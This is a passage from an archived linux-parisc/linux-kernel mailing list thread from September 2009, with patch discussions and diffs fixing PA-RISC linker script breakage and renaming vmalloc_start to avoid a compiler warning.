        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n8RLP8rP002594;
	Sun, 27 Sep 2009 17:25:08 -0400 (EDT)
X-X-Sender: tabbott@dr-wily.mit.edu
In-Reply-To: <4ABFD2D3.5050606@gmx.de>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2208 gmane.linux.kernel:895028
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2208>

On Sun, 27 Sep 2009, Helge Deller wrote:

>  Tim, thanks for your work!
> 
> Sadly it broke the parisc build in two places:
> a) THREAD_SIZE can't be used in the vmlinux.lds.S file
> b) It generates linker errors like "local symbol 0: discarded in section
> `.exit.text' from kernel/built-in.o".

Sorry about that -- I should have tried harder to get someone to test this 
one, since parisc is one of the architectures for which I don't have a 
cross-compiler.

> Attached patch below fixes both issues. Tested with 32- and 64-bit parisc
> kernel.

The .exit.text change looks fine.

[...]
> b/arch/parisc/kernel/asm-offsets.c
> index 699cf8e..7e76f03 100644
> --- a/arch/parisc/kernel/asm-offsets.c
> +++ b/arch/parisc/kernel/asm-offsets.c
> @@ -287,6 +287,8 @@ int main(void)
>  	DEFINE(ASM_PFN_PTE_SHIFT, PFN_PTE_SHIFT);
>  	DEFINE(ASM_PT_INITIAL, PT_INITIAL);
>  	BLANK();
> +	DEFINE(ASM_THREAD_SIZE, THREAD_SIZE);
> +	BLANK();
>  	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
>  	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
>  	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));

Rather than adding a new definition in asm-offsets.c, I think it'll be 
better to do something like the following to make the normal THREAD_SIZE 
definition available in the linker script and other assembly files:

	-Tim Abbott

parisc: Make THREAD_SIZE available to assembly files and linker scripts.

Signed-off-by: Tim Abbott <tabbott@ksplice.com>
---
 arch/parisc/include/asm/thread_info.h |   10 +++++-----
 1 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index ac775a7..51bca20 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -32,6 +32,11 @@ struct thread_info {
 #define init_thread_info        (init_thread_union.thread_info)
 #define init_stack              (init_thread_union.stack)
 
+/* how to get the thread information struct from C */
+#define current_thread_info()	((struct thread_info *)mfctl(30))
+
+#endif /* !__ASSEMBLY */
+
 /* thread information allocation */
 
 #define THREAD_SIZE_ORDER            2
@@ -40,11 +45,6 @@ struct thread_info {
 #define THREAD_SIZE             (PAGE_SIZE << THREAD_SIZE_ORDER)
 #define THREAD_SHIFT            (PAGE_SHIFT + THREAD_SIZE_ORDER)
 
-/* how to get the thread information struct from C */
-#define current_thread_info()	((struct thread_info *)mfctl(30))
-
-#endif /* !__ASSEMBLY */

From - Thu Nov 08 21:04:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: rename parisc's vmalloc_start to parisc_vmalloc_start
Date: Sun, 27 Sep 2009 23:30:39 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <4ABFD97F.7020004@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254087053 9628 80.91.229.12 (27 Sep 2009 21:30:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Sep 2009 21:30:53 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 27 23:30:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms1KN-0005DB-IB
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Sep 2009 23:30:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751421AbZI0Vai (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2009 17:30:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751961AbZI0Vai
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Sep 2009 17:30:38 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:42322 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751421AbZI0Vah (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2009 17:30:37 -0400
Original-Received: (qmail invoked by alias); 27 Sep 2009 21:30:40 -0000
Original-Received: from p4FDB3698.dip0.t-ipconnect.de (EHLO halden.box) [79.219.54.152]
  by mail.gmx.net (mp010) with SMTP; 27 Sep 2009 23:30:40 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/ij0EPX+/ilwTwXYEj2xf+3zALgUkQ53S93EtkdH
	bVlxsX6DMZCp9H
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.44
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2209
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2209>

building kernel 2.6.32(pre), gives this compiler warning:
/linus-linux-2.6/mm/vmalloc.c: In function 'pcpu_get_vm_areas':
/linus-linux-2.6/mm/vmalloc.c:2104: warning: 'vmalloc_start' is used uninitialized in this function

The reason is, that the code in mm/vmalloc defines a local variable called
vmalloc_start, which is already defined as global variable in parisc's code.

To avoid this kind of problems in future, I suggest to rename the parisc variable
to parisc_vmalloc_start.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/fixmap.h b/arch/parisc/include/asm/fixmap.h
index de3fe3a..6fec4d4 100644
--- a/arch/parisc/include/asm/fixmap.h
+++ b/arch/parisc/include/asm/fixmap.h
@@ -21,9 +21,9 @@
  #define KERNEL_MAP_END		(TMPALIAS_MAP_START)
  
  #ifndef __ASSEMBLY__
-extern void *vmalloc_start;
+extern void *parisc_vmalloc_start;
  #define PCXL_DMA_MAP_SIZE	(8*1024*1024)
-#define VMALLOC_START		((unsigned long)vmalloc_start)
+#define VMALLOC_START		((unsigned long)parisc_vmalloc_start)
  #define VMALLOC_END		(KERNEL_MAP_END)
  #endif /*__ASSEMBLY__*/
  
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index d5aca31..13b6e3e 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -434,8 +434,8 @@ void mark_rodata_ro(void)
  #define SET_MAP_OFFSET(x) ((void *)(((unsigned long)(x) + VM_MAP_OFFSET) \
  				     & ~(VM_MAP_OFFSET-1)))
  
-void *vmalloc_start __read_mostly;
-EXPORT_SYMBOL(vmalloc_start);
+void *parisc_vmalloc_start __read_mostly;
+EXPORT_SYMBOL(parisc_vmalloc_start);
  
  #ifdef CONFIG_PA11
  unsigned long pcxl_dma_start __read_mostly;
@@ -496,13 +496,14 @@ void __init mem_init(void)
  #ifdef CONFIG_PA11
  	if (hppa_dma_ops == &pcxl_dma_ops) {
  		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
-		vmalloc_start = SET_MAP_OFFSET(pcxl_dma_start + PCXL_DMA_MAP_SIZE);
+		parisc_vmalloc_start = SET_MAP_OFFSET(pcxl_dma_start
+						+ PCXL_DMA_MAP_SIZE);
  	} else {
  		pcxl_dma_start = 0;
-		vmalloc_start = SET_MAP_OFFSET(MAP_START);
+		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
  	}
  #else
-	vmalloc_start = SET_MAP_OFFSET(MAP_START);
+	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
  #endif
  
  	printk(KERN_INFO "Memory: %luk/%luk available (%dk kernel code, %dk reserved, %dk data, %dk init)\n",
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2 0/2] Linker script cleanup patches for parisc
Date: Mon, 28 Sep 2009 00:39:47 +0200
Lines: 115
Approved: news@gmane.org
Message-ID: <4ABFE9B3.8000000@gmx.de>
References: <1253306078-7066-1-git-send-email-tabbott@ksplice.com> <4ABFD2D3.5050606@gmx.de> <alpine.DEB.1.10.0909271719570.14151@dr-wily.mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254091201 18793 80.91.229.12 (27 Sep 2009 22:40:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Sep 2009 22:40:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>
To: Tim Abbott <tabbott@ksplice.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 28 00:39:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms2PH-0000Au-Fj
	for glpp-linux-parisc@lo.gmane.org; Mon, 28 Sep 2009 00:39:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751781AbZI0Wjq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2009 18:39:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751660AbZI0Wjq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Sep 2009 18:39:46 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:50125 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751127AbZI0Wjp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2009 18:39:45 -0400
Original-Received: (qmail invoked by alias); 27 Sep 2009 22:39:48 -0000
Original-Received: from p4FDB3698.dip0.t-ipconnect.de (EHLO halden.box) [79.219.54.152]
  by mail.gmx.net (mp024) with SMTP; 28 Sep 2009 00:39:48 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX184RTwiI5Q4jffpx1zCXJtHCkuz+bAs2pgS/t9jgU
	DKjRQfZm3ggWTP
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
In-Reply-To: <alpine.DEB.1.10.0909271719570.14151@dr-wily.mit.edu>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.47
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2210 gmane.linux.kernel:895033
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2210>

On 09/27/2009 11:25 PM, Tim Abbott wrote:
> On Sun, 27 Sep 2009, Helge Deller wrote:
>
>>   Tim, thanks for your work!
>>
>> Sadly it broke the parisc build in two places:
>> a) THREAD_SIZE can't be used in the vmlinux.lds.S file
>> b) It generates linker errors like "local symbol 0: discarded in section
>> `.exit.text' from kernel/built-in.o".
>
> Sorry about that -- I should have tried harder to get someone to test this
> one, since parisc is one of the architectures for which I don't have a
> cross-compiler.

No problem. It was on my todo-list to test your patch, but then it
already got merged :-)

>> Attached patch below fixes both issues. Tested with 32- and 64-bit parisc
>> kernel.
>
> The .exit.text change looks fine.

Good.

> [...]
> Rather than adding a new definition in asm-offsets.c, I think it'll be
> better to do something like the following to make the normal THREAD_SIZE
> definition available in the linker script and other assembly files:
>
> 	-Tim Abbott
>
> parisc: Make THREAD_SIZE available to assembly files and linker scripts.
>
> Signed-off-by: Tim Abbott<tabbott@ksplice.com>

Yes, much better.
Acked-by: Helge Deller <deller@gmx.de>

But with this change, the vmlinux.lds.S file needs to include
the <asm/thread_info.h> file as well. I've added the adjusted patch
to vmlinux.lds.S below.

> ---
>   arch/parisc/include/asm/thread_info.h |   10 +++++-----
>   1 files changed, 5 insertions(+), 5 deletions(-)
>
> diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
> index ac775a7..51bca20 100644
> --- a/arch/parisc/include/asm/thread_info.h
> +++ b/arch/parisc/include/asm/thread_info.h
> @@ -32,6 +32,11 @@ struct thread_info {
>   #define init_thread_info        (init_thread_union.thread_info)
>   #define init_stack              (init_thread_union.stack)
>
> +/* how to get the thread information struct from C */
> +#define current_thread_info()	((struct thread_info *)mfctl(30))
> +
> +#endif /* !__ASSEMBLY */
> +
>   /* thread information allocation */
>
>   #define THREAD_SIZE_ORDER            2
> @@ -40,11 +45,6 @@ struct thread_info {
>   #define THREAD_SIZE             (PAGE_SIZE<<  THREAD_SIZE_ORDER)
>   #define THREAD_SHIFT            (PAGE_SHIFT + THREAD_SIZE_ORDER)
>
> -/* how to get the thread information struct from C */
> -#define current_thread_info()	((struct thread_info *)mfctl(30))
> -
> -#endif /* !__ASSEMBLY */
> -
>   #define PREEMPT_ACTIVE_BIT	28
>   #define PREEMPT_ACTIVE		(1<<  PREEMPT_ACTIVE_BIT)
>

Adjusted patch to vmlinux.lds.S:

parisc: Fix linker script breakage.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 775be27..7fc2c3d 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -28,6 +28,7 @@
  #include <asm/cache.h>
  #include <asm/page.h>
  #include <asm/asm-offsets.h>
+#include <asm/thread_info.h>
  	
  /* ld script to make hppa Linux kernel */
  #ifndef CONFIG_64BIT
@@ -135,6 +136,16 @@ SECTIONS
  	INIT_TEXT_SECTION(16384)
  	INIT_DATA_SECTION(16)
  
+	/* we have to discard exit text and such at runtime, not link time */
+	.exit.text :
+	{
+		EXIT_TEXT
+	}
+	.exit.data :
+	{
+		EXIT_DATA
+	}
+
  	PERCPU(PAGE_SIZE)
  	. = ALIGN(PAGE_SIZE);
  	__init_end = .;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 06/10] parisc: Convert BUG() to use unreachable()
Date: Sun, 27 Sep 2009 23:20:19 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20090928032019.GJ11961@bombadil.infradead.org>
References: <4AA991C1.1050800@caviumnetworks.com> <1252627011-2933-6-git-send-email-ddaney@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1254108044 17253 80.91.229.12 (28 Sep 2009 03:20:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2009 03:20:44 +0000 (UTC)
Cc: torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: David Daney <ddaney@caviumnetworks.com>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752873AbZI1DUW@vger.kernel.org Mon Sep 28 05:20:36 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752873AbZI1DUW@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms6mv-0006Fd-WE
	for glk-linux-kernel-3@lo.gmane.org; Mon, 28 Sep 2009 05:20:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752873AbZI1DUW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 27 Sep 2009 23:20:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752686AbZI1DUV
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sun, 27 Sep 2009 23:20:21 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:53657 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752607AbZI1DUV (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 27 Sep 2009 23:20:21 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Ms6mh-0004NE-OB; Mon, 28 Sep 2009 03:20:19 +0000
Content-Disposition: inline
In-Reply-To: <1252627011-2933-6-git-send-email-ddaney@caviumnetworks.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:895061 gmane.linux.ports.parisc:2211
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2211>

On Thu, Sep 10, 2009 at 04:56:47PM -0700, David Daney wrote:
> Use the new unreachable() macro instead of for(;;);
> 
> Signed-off-by: David Daney <ddaney@caviumnetworks.com>
> CC: Kyle McMartin <kyle@mcmartin.ca>
> CC: Helge Deller <deller@gmx.de>
> CC: linux-parisc@vger.kernel.org

Since the dependent part of this patch seems to have missed the merge
window, I guess we'll sit on this until next round?

--Kyle

From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: agp: parisc-agp.c - use correct page_mask function
Date: Sun, 27 Sep 2009 23:24:16 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20090928032416.GL11961@bombadil.infradead.org>
References: <4ABFD560.9080302@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1254108270 17622 80.91.229.12 (28 Sep 2009 03:24:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2009 03:24:30 +0000 (UTC)
Cc: David Woodhouse <David.Woodhouse@intel.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	David Airlie <airlied@linux.ie>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 28 05:24:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms6qb-0006y7-RR
	for glpp-linux-parisc@lo.gmane.org; Mon, 28 Sep 2009 05:24:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752716AbZI1DYQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2009 23:24:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752744AbZI1DYQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Sep 2009 23:24:16 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34031 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752716AbZI1DYQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2009 23:24:16 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Ms6qW-0001yX-Jl; Mon, 28 Sep 2009 03:24:16 +0000
Content-Disposition: inline
In-Reply-To: <4ABFD560.9080302@gmx.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2212
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2212>

On Sun, Sep 27, 2009 at 11:13:04PM +0200, Helge Deller wrote:
> This commit:
>
> Commit 2a4ceb6d3e6a566cb4a9dc8f974177f031d27cd7
> Author: David Woodhouse <David.Woodhouse@intel.com>
> Date:   Mon Jul 27 10:27:29 2009 +0100
>     agp: Switch mask_memory() method to take address argument again, not page
>
> broke the parisc AGP driver (again). This patch fixes it.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>

Acked-by: Kyle McMartin <kyle@mcmartin.ca>

airlied, please apply.

Thanks, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: rename parisc's vmalloc_start to
	parisc_vmalloc_start
Date: Sun, 27 Sep 2009 23:28:06 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20090928032806.GM11961@bombadil.infradead.org>
References: <4ABFD97F.7020004@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1254108499 18001 80.91.229.12 (28 Sep 2009 03:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2009 03:28:19 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 28 05:28:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms6uJ-0007B1-HM
	for glpp-linux-parisc@lo.gmane.org; Mon, 28 Sep 2009 05:28:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752686AbZI1D2G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2009 23:28:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752716AbZI1D2G
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Sep 2009 23:28:06 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34295 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752686AbZI1D2F (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2009 23:28:05 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Ms6uE-0000E9-Ed; Mon, 28 Sep 2009 03:28:06 +0000
Content-Disposition: inline
In-Reply-To: <4ABFD97F.7020004@gmx.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2213
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2213>

On Sun, Sep 27, 2009 at 11:30:39PM +0200, Helge Deller wrote:
> building kernel 2.6.32(pre), gives this compiler warning:
> /linus-linux-2.6/mm/vmalloc.c: In function 'pcpu_get_vm_areas':
> /linus-linux-2.6/mm/vmalloc.c:2104: warning: 'vmalloc_start' is used uninitialized in this function
>
> The reason is, that the code in mm/vmalloc defines a local variable called
> vmalloc_start, which is already defined as global variable in parisc's code.
>
> To avoid this kind of problems in future, I suggest to rename the parisc variable
> to parisc_vmalloc_start.
>
> Signed-off-by: Helge Deller <deller@gmx.de>

applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [PATCH] arch/parisc: correct use of SHF_ALLOC
Date: Sun, 27 Sep 2009 23:29:56 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <20090928032956.GN11961@bombadil.infradead.org>
References: <Pine.LNX.4.64.0908042226231.3737@ask.diku.dk> <20090927182149.GA23464@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1254108625 18313 80.91.229.12 (28 Sep 2009 03:30:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Sep 2009 03:30:25 +0000 (UTC)
Cc: Julia Lawall <julia@diku.dk>, Helge Deller <deller@gmx.de>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752936AbZI1D36@vger.kernel.org Mon Sep 28 05:30:17 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752936AbZI1D36@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ms6wJ-00087s-LN
	for glk-linux-kernel-3@lo.gmane.org; Mon, 28 Sep 2009 05:30:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752936AbZI1D36 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 27 Sep 2009 23:29:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752729AbZI1D36
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sun, 27 Sep 2009 23:29:58 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:60766 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752686AbZI1D35 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 27 Sep 2009 23:29:57 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Ms6w0-00036L-N5; Mon, 28 Sep 2009 03:29:56 +0000
Content-Disposition: inline
In-Reply-To: <20090927182149.GA23464@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:895063 gmane.linux.ports.parisc:2214 gmane.linux.kernel.janitors:17319
